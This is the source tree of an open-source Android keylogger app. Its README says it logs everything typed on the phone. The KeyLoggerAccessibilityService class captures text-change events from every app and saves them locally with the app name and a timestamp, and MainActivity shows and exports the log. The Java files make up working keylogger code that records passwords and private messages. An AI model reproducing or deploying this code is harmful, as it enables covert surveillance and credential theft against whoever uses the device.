├── .github └── workflows │ └── android.yml ├── .gitignore ├── LICENSE ├── README.md ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ ├── androidTest │ └── java │ │ └── com │ │ └── example │ │ └── gpow │ │ └── androidkeylogger │ │ └── ExampleInstrumentedTest.java │ ├── main │ ├── AndroidManifest.xml │ ├── ic_launcher-playstore.png │ ├── ic_launcher-web.png │ ├── java │ │ └── com │ │ │ └── gpow │ │ │ └── androidkeylogger │ │ │ ├── FileOperations.java │ │ │ ├── KeyLoggerAccessibilityService.java │ │ │ └── MainActivity.java │ └── res │ │ ├── drawable-v24 │ │ └── ic_launcher_foreground.xml │ │ ├── drawable │ │ └── ic_launcher_background.xml │ │ ├── layout │ │ └── activity_main.xml │ │ ├── mipmap-anydpi-v26 │ │ ├── ic_launcher.xml │ │ └── ic_launcher_round.xml │ │ ├── mipmap-hdpi │ │ ├── ic_launcher.png │ │ ├── ic_launcher_foreground.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-ldpi │ │ └── ic_launcher.png │ │ ├── mipmap-mdpi │ │ ├── ic_launcher.png │ │ ├── ic_launcher_foreground.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xhdpi │ │ ├── ic_launcher.png │ │ ├── ic_launcher_foreground.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xxhdpi │ │ ├── ic_launcher.png │ │ ├── ic_launcher_foreground.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xxxhdpi │ │ ├── ic_launcher.png │ │ ├── ic_launcher_foreground.png │ │ └── ic_launcher_round.png │ │ └── values │ │ ├── colors.xml │ │ ├── ic_launcher_background.xml │ │ ├── strings.xml │ │ └── styles.xml │ └── test │ └── java │ └── com │ └── example │ └── gpow │ └── androidkeylogger │ └── ExampleUnitTest.java ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle /.github/workflows/android.yml: -------------------------------------------------------------------------------- 1 | name: Android CI 2 | 3 | on: 4 | push: 5 | branches: [ master ] 6 | pull_request: 7 | branches: [ master ] 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ubuntu-latest 13 | 14 | steps: 15 | - uses: actions/checkout@v2 16 | - name: set up JDK 11 17 | uses: actions/setup-java@v2 18 | with: 19 | java-version: '11' 20 | distribution: 'temurin' 21 | cache: gradle 22 | 23 | - name: Grant execute permission for gradlew 24 | run: chmod +x gradlew 25 | - name: Build with Gradle 26 | run: ./gradlew build 27 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Built application files 2 | *.apk 3 | *.ap_ 4 | *.aab 5 | 6 | # Files for the ART/Dalvik VM 7 | *.dex 8 | 9 | # Java class files 10 | *.class 11 | 12 | # Generated files 13 | bin/ 14 | gen/ 15 | out/ 16 | 17 | # Gradle files 18 | .gradle/ 19 | build/ 20 | 21 | # Local configuration file (sdk path, etc) 22 | local.properties 23 | 24 | 25 | # Proguard folder generated by Eclipse 26 | proguard/ 27 | 28 | # Log Files 29 | *.log 30 | 31 | # Android Studio Navigation editor temp files 32 | .navigation/ 33 | 34 | # Android Studio captures folder 35 | captures/ 36 | 37 | # IntelliJ 38 | *.iml 39 | .idea/workspace.xml 40 | .idea/tasks.xml 41 | .idea/gradle.xml 42 | .idea/assetWizardSettings.xml 43 | .idea/dictionaries 44 | .idea/libraries 45 | .idea/caches 46 | .idea/ 47 | 48 | # Keystore files 49 | # Uncomment the following line if you do not want to check your keystore files in. 50 | #*.jks 51 | 52 | # External native build folder generated in Android Studio 2.2 and later 53 | .externalNativeBuild 54 | 55 | # Google Services (e.g. APIs or Firebase) 56 | google-services.json 57 | 58 | # Freeline 59 | freeline.py 60 | freeline/ 61 | freeline_project_description.json 62 | 63 | # fastlane 64 | fastlane/report.xml 65 | fastlane/Preview.html 66 | fastlane/screenshots 67 | fastlane/test_output 68 | fastlane/readme.md 69 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Gokul Rajan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AndroidKeyLogger 2 | Does something straight forward, logs everything you type on your phone. Saves it locally on your phone itself. No hazzle no dazzle :) 3 | 4 | 5 | Build the app manually with AndroidStudio or get it here: https://play.google.com/store/apps/details?id=com.gpow.androidkeylogger 6 | 7 | Install the app. 8 | 9 | TurnOn Settings>Accessibility>AndroidKeyLogger (Services section) 10 | 11 | Close and open the app again to see the typed text contents. 12 | 13 | Its a work in progress, so all suggestions and pull requests are welcome :) 14 | 15 | Buy Me A Coffee 16 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 31 5 | defaultConfig { 6 | applicationId "com.gpow.androidkeylogger" 7 | minSdkVersion 19 8 | targetSdkVersion 30 9 | versionCode 9 10 | versionName "2.4.0" 11 | testInstrumentationRunner 'androidx.test.runner.AndroidJUnitRunner' 12 | } 13 | buildTypes { 14 | release { 15 | minifyEnabled false 16 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 17 | } 18 | } 19 | namespace 'com.gpow.androidkeylogger' 20 | } 21 | 22 | dependencies { 23 | implementation fileTree(dir: 'libs', include: ['*.jar']) 24 | implementation 'androidx.appcompat:appcompat:1.0.0' 25 | implementation 'androidx.constraintlayout:constraintlayout:1.1.3' 26 | implementation 'com.facebook.conceal:conceal:2.0.1@aar' 27 | implementation 'com.google.android.gms:play-services-ads:20.6.0' 28 | implementation 'androidx.swiperefreshlayout:swiperefreshlayout:1.1.0' 29 | 30 | 31 | testImplementation 'junit:junit:4.12' 32 | androidTestImplementation 'androidx.test.ext:junit:1.1.1' 33 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.1.0' 34 | } 35 | -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /app/src/androidTest/java/com/example/gpow/androidkeylogger/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package com.gpow.androidkeylogger; 2 | 3 | import android.content.Context; 4 | import androidx.test.platform.app.InstrumentationRegistry; 5 | import androidx.test.ext.junit.runners.AndroidJUnit4; 6 | 7 | import org.junit.Test; 8 | import org.junit.runner.RunWith; 9 | 10 | import static org.junit.Assert.*; 11 | 12 | /** 13 | * Instrumented test, which will execute on an Android device. 14 | * 15 | * @see Testing documentation 16 | */ 17 | @RunWith(AndroidJUnit4.class) 18 | public class ExampleInstrumentedTest { 19 | @Test 20 | public void useAppContext() { 21 | // Context of the app under test. 22 | Context appContext = InstrumentationRegistry.getTargetContext(); 23 | 24 | assertEquals("com.gpow.androidkeylogger", appContext.getPackageName()); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /app/src/main/ic_launcher-playstore.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/ic_launcher-playstore.png -------------------------------------------------------------------------------- /app/src/main/ic_launcher-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/ic_launcher-web.png -------------------------------------------------------------------------------- /app/src/main/java/com/gpow/androidkeylogger/FileOperations.java: -------------------------------------------------------------------------------- 1 | package com.gpow.androidkeylogger; 2 | 3 | import java.io.File; 4 | import java.io.FileOutputStream; 5 | import java.io.IOException; 6 | 7 | public class FileOperations { 8 | 9 | // Create a file with text locally 10 | public static void writeTextToFile(final String filename, final String text) { 11 | File file = new File(filename); 12 | try { 13 | FileOutputStream stream = new FileOutputStream(file); 14 | stream.write(text.getBytes()); 15 | stream.close(); 16 | } catch (IOException e) { 17 | e.printStackTrace(); 18 | } 19 | } 20 | 21 | 22 | } 23 | -------------------------------------------------------------------------------- /app/src/main/java/com/gpow/androidkeylogger/KeyLoggerAccessibilityService.java: -------------------------------------------------------------------------------- 1 | package com.gpow.androidkeylogger; 2 | 3 | import android.accessibilityservice.AccessibilityService; 4 | import android.accessibilityservice.AccessibilityServiceInfo; 5 | import android.content.SharedPreferences; 6 | import android.preference.PreferenceManager; 7 | import android.view.accessibility.AccessibilityEvent; 8 | 9 | import com.facebook.android.crypto.keychain.AndroidConceal; 10 | import com.facebook.android.crypto.keychain.SharedPrefsBackedKeyChain; 11 | import com.facebook.crypto.Crypto; 12 | import com.facebook.crypto.CryptoConfig; 13 | import com.facebook.crypto.Entity; 14 | import com.facebook.crypto.keychain.KeyChain; 15 | import com.facebook.crypto.util.SystemNativeCryptoLibrary; 16 | 17 | import java.io.BufferedOutputStream; 18 | import java.io.FileOutputStream; 19 | import java.io.OutputStream; 20 | import java.text.SimpleDateFormat; 21 | import java.util.Date; 22 | import java.util.List; 23 | 24 | public class KeyLoggerAccessibilityService extends AccessibilityService { 25 | 26 | @Override 27 | public void onAccessibilityEvent(AccessibilityEvent event) { 28 | final int eventType = event.getEventType(); 29 | 30 | // Text information received from the event 31 | String eventText = "" + event.getText(); 32 | eventText = eventText.substring(1, eventText.length()-1); 33 | 34 | switch(eventType) { 35 | /* 36 | You can use catch other events like touch and focus 37 | */ 38 | 39 | // case AccessibilityEvent.TYPE_VIEW_CLICKED: 40 | // eventText = "Clicked" + "[" + event.getPackageName() + "]: "; 41 | // break; 42 | // case AccessibilityEvent.TYPE_VIEW_FOCUSED: 43 | // eventText = "Focused" + "[" + event.getPackageName() + "]: "; 44 | // break; 45 | case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: 46 | // eventText = "Typed" + "[" + event.getPackageName() + "]: "; 47 | saveContents("" + eventText, ""+event.getPackageName()); 48 | break; 49 | } 50 | 51 | //print the typed text in the console. Or do anything you want here. 52 | System.out.println("ACCESSIBILITY SERVICE : "+eventText); 53 | 54 | } 55 | 56 | @Override 57 | public void onInterrupt() { 58 | //whatever 59 | } 60 | 61 | @Override 62 | public void onServiceConnected() { 63 | //configure our Accessibility service 64 | AccessibilityServiceInfo info=getServiceInfo(); 65 | info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED; 66 | info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN; 67 | info.notificationTimeout = 100; 68 | this.setServiceInfo(info); 69 | } 70 | 71 | private void saveContents(String eventLog, String eventSource) { 72 | try { 73 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this); 74 | String savedLog = preferences.getString("KeyLogger", ""); 75 | String currentSavedLog = (savedLog.length() > 0) ? savedLog.substring(savedLog.lastIndexOf("\n") + 1) : ""; 76 | String newLog = ""; 77 | 78 | // Check if the savedLog is identical to eventLog; then no change is required 79 | if (currentSavedLog.equals(eventLog)) { 80 | return; 81 | } 82 | // Check if the savedLog contains part of the eventLog 83 | // Cond 1: Check if savedLog is bigger than eventLog 84 | // Use-case: for saving text repeatedly when user hits backspace 85 | // Cond 2: Check if savedLog contains part of eventLog 86 | // Use-case: to avoid saving repeatedly as user types each character 87 | else if (currentSavedLog.length() > 0 && eventLog.contains(currentSavedLog)) { 88 | // Updated savedLog as follows: savedLog - oldLog + newLog 89 | // NOTE: Here the old and new logs are from the same events 90 | String oldLog = savedLog.substring(0, savedLog.lastIndexOf("\n") + 1); 91 | newLog = oldLog + eventLog; 92 | } 93 | // Else this is a new log to be added 94 | else { 95 | // Create timestamp 96 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss z"); 97 | String currentDatetime = sdf.format(new Date()); 98 | 99 | newLog = savedLog + "\n[" + eventSource + " ::: "+ currentDatetime + "]\n" + eventLog; 100 | } 101 | 102 | preferences = PreferenceManager.getDefaultSharedPreferences(this); 103 | SharedPreferences.Editor editor = preferences.edit(); 104 | editor.putString("KeyLogger", newLog); 105 | editor.apply(); 106 | } 107 | catch (Exception e) { 108 | 109 | e.printStackTrace(); 110 | } 111 | } 112 | 113 | private String getFilename() { 114 | String date = new SimpleDateFormat("dd-MM-yyyy").format(new Date()); 115 | return date+"_loglogs"; 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /app/src/main/java/com/gpow/androidkeylogger/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.gpow.androidkeylogger; 2 | 3 | import android.accessibilityservice.AccessibilityService; 4 | import android.accessibilityservice.AccessibilityServiceInfo; 5 | import android.content.Context; 6 | import android.content.Intent; 7 | import android.content.SharedPreferences; 8 | import android.content.pm.PackageManager; 9 | import android.content.pm.ServiceInfo; 10 | import android.net.Uri; 11 | import android.os.Environment; 12 | import android.os.Handler; 13 | import android.preference.PreferenceManager; 14 | 15 | import androidx.annotation.NonNull; 16 | import androidx.appcompat.app.AppCompatActivity; 17 | import androidx.swiperefreshlayout.widget.SwipeRefreshLayout; 18 | 19 | import android.os.Bundle; 20 | import android.provider.Settings; 21 | import android.util.Log; 22 | import android.view.MotionEvent; 23 | import android.view.View; 24 | import android.view.accessibility.AccessibilityManager; 25 | import android.widget.Button; 26 | import android.widget.LinearLayout; 27 | import android.widget.TextView; 28 | import android.widget.Toast; 29 | 30 | import com.google.android.gms.ads.AdListener; 31 | import com.google.android.gms.ads.AdRequest; 32 | import com.google.android.gms.ads.AdView; 33 | import com.google.android.gms.ads.LoadAdError; 34 | import com.google.android.gms.ads.MobileAds; 35 | import com.google.android.gms.ads.initialization.InitializationStatus; 36 | import com.google.android.gms.ads.initialization.OnInitializationCompleteListener; 37 | 38 | import java.io.File; 39 | import java.io.FileOutputStream; 40 | import java.io.IOException; 41 | import java.text.SimpleDateFormat; 42 | import java.util.Date; 43 | import java.util.List; 44 | 45 | import static com.gpow.androidkeylogger.FileOperations.writeTextToFile; 46 | 47 | public class MainActivity extends AppCompatActivity { 48 | 49 | private View popupAccessibilityView; 50 | private View changeAccessibilityView; 51 | private Button logsButton; 52 | private Button exportButton; 53 | private Button clearButton; 54 | 55 | private AdView mAdView; 56 | private AdRequest mAdRequest; 57 | private int REFRESH_RATE_IN_SECONDS = 5; 58 | private final Handler refreshHandler = new Handler(); 59 | private final Runnable refreshRunnable = new RefreshRunnable(); 60 | 61 | private SwipeRefreshLayout swipeRefreshLayout; 62 | 63 | private Toast toast = null; 64 | 65 | @Override 66 | protected void onCreate(Bundle savedInstanceState) { 67 | super.onCreate(savedInstanceState); 68 | setContentView(R.layout.activity_main); 69 | getSupportActionBar().hide(); 70 | updateText(); 71 | setupDisclaimer(); 72 | setupView(); 73 | 74 | checkForAccessibility(); 75 | setUpAdView(); 76 | } 77 | 78 | @Override 79 | protected void onRestart() { 80 | mAdView.resume(); 81 | super.onRestart(); 82 | checkForAccessibility(); 83 | updateText(); 84 | } 85 | 86 | @Override 87 | public void onPause() { 88 | // Pause the AdView. 89 | mAdView.pause(); 90 | super.onPause(); 91 | } 92 | 93 | @Override 94 | public void onDestroy() { 95 | // Destroy the AdView. 96 | mAdView.destroy(); 97 | super.onDestroy(); 98 | } 99 | 100 | 101 | /* Setup AdView */ 102 | private void setUpAdView() { 103 | 104 | MobileAds.initialize(this, new OnInitializationCompleteListener() { 105 | @Override 106 | public void onInitializationComplete(InitializationStatus initializationStatus) { 107 | } 108 | }); 109 | 110 | mAdView = findViewById(R.id.adView); 111 | mAdRequest = new AdRequest.Builder().build(); 112 | mAdView.setAdListener(new AdListener() { 113 | 114 | @Override 115 | public void onAdLoaded() { 116 | super.onAdLoaded(); 117 | 118 | LinearLayout.LayoutParams param = (LinearLayout.LayoutParams) swipeRefreshLayout.getLayoutParams(); 119 | param.weight = 8.0f; 120 | swipeRefreshLayout.setLayoutParams(param); 121 | mAdView.setVisibility(View.VISIBLE); 122 | } 123 | 124 | @Override 125 | public void onAdFailedToLoad(@NonNull LoadAdError loadAdError) { 126 | super.onAdFailedToLoad(loadAdError); 127 | 128 | LinearLayout.LayoutParams param = (LinearLayout.LayoutParams) swipeRefreshLayout.getLayoutParams(); 129 | param.weight = 9.0f; 130 | swipeRefreshLayout.setLayoutParams(param); 131 | mAdView.setVisibility(View.GONE); 132 | 133 | refreshHandler.removeCallbacks(refreshRunnable); 134 | refreshHandler.postDelayed(refreshRunnable, REFRESH_RATE_IN_SECONDS * 1000); 135 | } 136 | }); 137 | mAdView.loadAd(mAdRequest); 138 | } 139 | 140 | private void checkForAccessibility() { 141 | 142 | if (!isAccessibilityServiceEnabled(this, KeyLoggerAccessibilityService.class)) { 143 | popupAccessibilityView.setVisibility(View.VISIBLE); 144 | } 145 | else { 146 | popupAccessibilityView.setVisibility(View.GONE); 147 | } 148 | } 149 | 150 | 151 | static boolean isAccessibilityServiceEnabled(Context context, Class service) { 152 | AccessibilityManager am = (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE); 153 | List enabledServices = am.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_ALL_MASK); 154 | 155 | for (AccessibilityServiceInfo enabledService : enabledServices) { 156 | ServiceInfo enabledServiceInfo = enabledService.getResolveInfo().serviceInfo; 157 | if (enabledServiceInfo.packageName.equals(context.getPackageName()) && enabledServiceInfo.name.equals(service.getName())) 158 | return true; 159 | } 160 | 161 | return false; 162 | } 163 | 164 | 165 | private void setupDisclaimer() { 166 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this); 167 | String agreement = preferences.getString("KeyLogger.TermsAgreed", "false"); 168 | if (agreement.equals("false")) { 169 | // Unhide disclaimer window 170 | View disclaimerWindow = (View) findViewById(R.id.disclaimerWindow); 171 | disclaimerWindow.setVisibility(View.VISIBLE); 172 | 173 | // Configure DisclaimerAgreeBtn 174 | Button disclaimerAgreeButton = (Button) findViewById(R.id.disclaimerAgreeBtn); 175 | disclaimerAgreeButton.setOnClickListener(new View.OnClickListener() { 176 | @Override 177 | public void onClick(View v) { 178 | // Hide disclaimer window 179 | View disclaimerWindow = (View) findViewById(R.id.disclaimerWindow); 180 | disclaimerWindow.setVisibility(View.GONE); 181 | 182 | // Saved terms agreed 183 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(MainActivity.this); 184 | SharedPreferences.Editor editor = preferences.edit(); 185 | editor.putString("KeyLogger.TermsAgreed", "true"); 186 | editor.apply(); 187 | } 188 | }); 189 | } 190 | } 191 | 192 | 193 | private void setupView() { 194 | 195 | swipeRefreshLayout = findViewById(R.id.swipeRefreshLayout); 196 | swipeRefreshLayout.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() { 197 | @Override 198 | public void onRefresh() { 199 | updateText(); 200 | showToast("Content refreshed!"); 201 | swipeRefreshLayout.setRefreshing(false); 202 | } 203 | }); 204 | 205 | // Setup ignore accessibility view 206 | popupAccessibilityView = findViewById(R.id.accessibility_popup); 207 | popupAccessibilityView.setOnClickListener(new View.OnClickListener() { 208 | @Override 209 | public void onClick(View v) { 210 | findViewById(R.id.accessibility_popup).setVisibility(View.GONE); 211 | } 212 | }); 213 | 214 | changeAccessibilityView = findViewById(R.id.accessibility_modify); 215 | changeAccessibilityView.setOnClickListener(new View.OnClickListener() { 216 | @Override 217 | public void onClick(View v) { 218 | Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS); 219 | startActivity(intent); 220 | } 221 | }); 222 | 223 | // // Setup Refresh Button 224 | // TODO: Either create a list view for all the log files or find a way to redirect to file manager 225 | // logsButton = (Button)findViewById(R.id.logsButton); 226 | //// setOnTouchEffect(refreshButton); 227 | // logsButton.setOnClickListener(new View.OnClickListener() { 228 | // @Override 229 | // public void onClick(View v) { 230 | // openLogPath(); 231 | // } 232 | // }); 233 | 234 | // Setup Export Button 235 | exportButton = (Button)findViewById(R.id.exportButton); 236 | // setOnTouchEffect(exportButton); 237 | exportButton.setOnClickListener(new View.OnClickListener() { 238 | @Override 239 | public void onClick(View v) { 240 | exportText(); 241 | // shareFile(filepath); 242 | } 243 | }); 244 | 245 | // Setup Clear Button 246 | clearButton = (Button)findViewById(R.id.clearButton); 247 | // setOnTouchEffect(clearButton); 248 | clearButton.setOnClickListener(new View.OnClickListener() { 249 | @Override 250 | public void onClick(View v) { 251 | exportText(); 252 | clearText(); 253 | } 254 | }); 255 | } 256 | 257 | 258 | private void exportText() { 259 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss z"); 260 | String currentDatetime = sdf.format(new Date()); 261 | String filepath = getExternalFilesDir("/").getAbsolutePath() + "/keylogger_text_" + currentDatetime + ".txt"; 262 | writeTextToFile(filepath, loadContents()); 263 | showToast("File exported to " + filepath); 264 | } 265 | 266 | 267 | private void clearText() { 268 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(MainActivity.this); 269 | SharedPreferences.Editor editor = preferences.edit(); 270 | editor.putString("KeyLogger", ""); 271 | editor.apply(); 272 | updateText(); 273 | // showToast("Text cleared!"); 274 | } 275 | 276 | 277 | private void showToast(String msg) { 278 | if (toast != null) { 279 | toast.cancel(); 280 | } 281 | toast = Toast.makeText(MainActivity.this, msg, Toast.LENGTH_LONG); 282 | toast.show(); 283 | } 284 | // private void setOnTouchEffect(Button button) { 285 | // 286 | // button.setOnTouchListener(new View.OnTouchListener() { 287 | // @Override 288 | // public boolean onTouch(View v, MotionEvent event) { 289 | // 290 | // Button btn = (Button)v; 291 | // 292 | // if (event.getActionMasked() == MotionEvent.ACTION_BUTTON_PRESS) { 293 | // btn.setTextColor(getResources().getColor(R.color.colorButtonBackground)); 294 | // btn.setBackgroundColor(getResources().getColor(R.color.colorButtonText)); 295 | // } 296 | // else if (event.getActionMasked() == MotionEvent.ACTION_BUTTON_RELEASE) { 297 | // btn.setTextColor(getResources().getColor(R.color.colorButtonText)); 298 | // btn.setBackgroundColor(getResources().getColor(R.color.colorButtonBackground)); 299 | // } 300 | // return false; 301 | // } 302 | // }); 303 | // } 304 | 305 | private void updateText() { 306 | TextView textView = findViewById(R.id.logs); 307 | textView.setText("Logs: " + loadContents()); 308 | } 309 | 310 | 311 | public static Context getContext() { 312 | return getContext(); 313 | } 314 | 315 | private String loadContents() { 316 | SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this); 317 | String logs = preferences.getString("KeyLogger", "No logs found"); 318 | return logs; 319 | } 320 | 321 | /* 322 | Intent operations 323 | */ 324 | 325 | // 326 | // public void openLogPath() { 327 | // 328 | // try { 329 | // Intent intent = new Intent(Intent.ACTION_GET_CONTENT); 330 | // String path1 = getExternalFilesDir("/").getAbsolutePath() + "/Android/data/com.gpow.androidkeylogger/files/"; 331 | // String path = getPackageManager().getPackageInfo(getPackageName(), 0).applicationInfo.dataDir; 332 | // String path2 = getApplicationInfo().dataDir; 333 | // Uri uri = Uri.parse(path); 334 | // intent.setDataAndType(uri, "*/*"); 335 | // startActivity(intent); 336 | // } 337 | // catch (Exception e) { 338 | // Log.e("keyL", "Error occured when opening log path"); 339 | // } 340 | // } 341 | // 342 | // public void openLogPath() 343 | // { 344 | // // location = "/sdcard/my_folder"; 345 | // Intent intent = new Intent(Intent.ACTION_VIEW); 346 | // Uri mydir = Uri.parse(getExternalFilesDir("/").getAbsolutePath()); 347 | // intent.setDataAndType(mydir,"application/*"); // or use */* 348 | // startActivity(intent); 349 | // } 350 | 351 | // private void newOpener() { 352 | // Intent chooser = new Intent(Intent.ACTION_GET_CONTENT); 353 | // Uri uri = Uri.parse(Environment.getDownloadCacheDirectory().getPath().toString()); 354 | // chooser.addCategory(Intent.CATEGORY_OPENABLE); 355 | // chooser.setDataAndType(uri, "*/*"); 356 | //// startActivity(chooser); 357 | // try { 358 | // startActivityForResult(chooser, SELECT_FILE); 359 | // } 360 | // catch (android.content.ActivityNotFoundException ex) 361 | // { 362 | // Toast.makeText(this, "Please install a File Manager.", 363 | // Toast.LENGTH_SHORT).show(); 364 | // } 365 | // } 366 | 367 | // private void openLogPath() { 368 | // String path = getExternalFilesDir("/").getAbsolutePath(); 369 | // Uri selectedUri = Uri.parse(getExternalFilesDir("/").getAbsolutePath()); 370 | // Intent intent = new Intent(Intent.ACTION_VIEW); 371 | // intent.setDataAndType(selectedUri, "resource/folder"); 372 | // 373 | // if (intent.resolveActivityInfo(getPackageManager(), 0) != null) 374 | // { 375 | // startActivity(intent); 376 | // } 377 | // else 378 | // { 379 | // showToast("Could not find explorer app installed on the device"); 380 | // } 381 | // } 382 | 383 | 384 | private void shareFile(String filepath) { 385 | Intent intentShareFile = new Intent(Intent.ACTION_SEND); 386 | File fileWithinMyDir = new File(filepath); 387 | 388 | if(fileWithinMyDir.exists()) { 389 | intentShareFile.setType("application/pdf"); 390 | intentShareFile.putExtra(Intent.EXTRA_STREAM, Uri.parse("file://"+filepath)); 391 | 392 | intentShareFile.putExtra(Intent.EXTRA_SUBJECT, 393 | "Sharing File..."); 394 | intentShareFile.putExtra(Intent.EXTRA_TEXT, "Sharing File..."); 395 | 396 | startActivity(Intent.createChooser(intentShareFile, "Share File")); 397 | } 398 | } 399 | 400 | private class RefreshRunnable implements Runnable { 401 | @Override 402 | public void run() { 403 | mAdView.loadAd(mAdRequest); 404 | } 405 | } 406 | } 407 | -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 12 | 13 | 19 | 22 | 25 | 26 | 27 | 28 | 34 | 35 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 10 | 12 | 14 | 16 | 18 | 20 | 22 | 24 | 26 | 28 | 30 | 32 | 34 | 36 | 38 | 40 | 42 | 44 | 46 | 48 | 50 | 52 | 54 | 56 | 58 | 60 | 62 | 64 | 66 | 68 | 70 | 72 | 74 | 75 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 10 | 11 | 12 | 19 | 30 | 37 | 38 | 39 | 40 | 41 | 42 | 50 | 61 | 65 | 72 | 73 |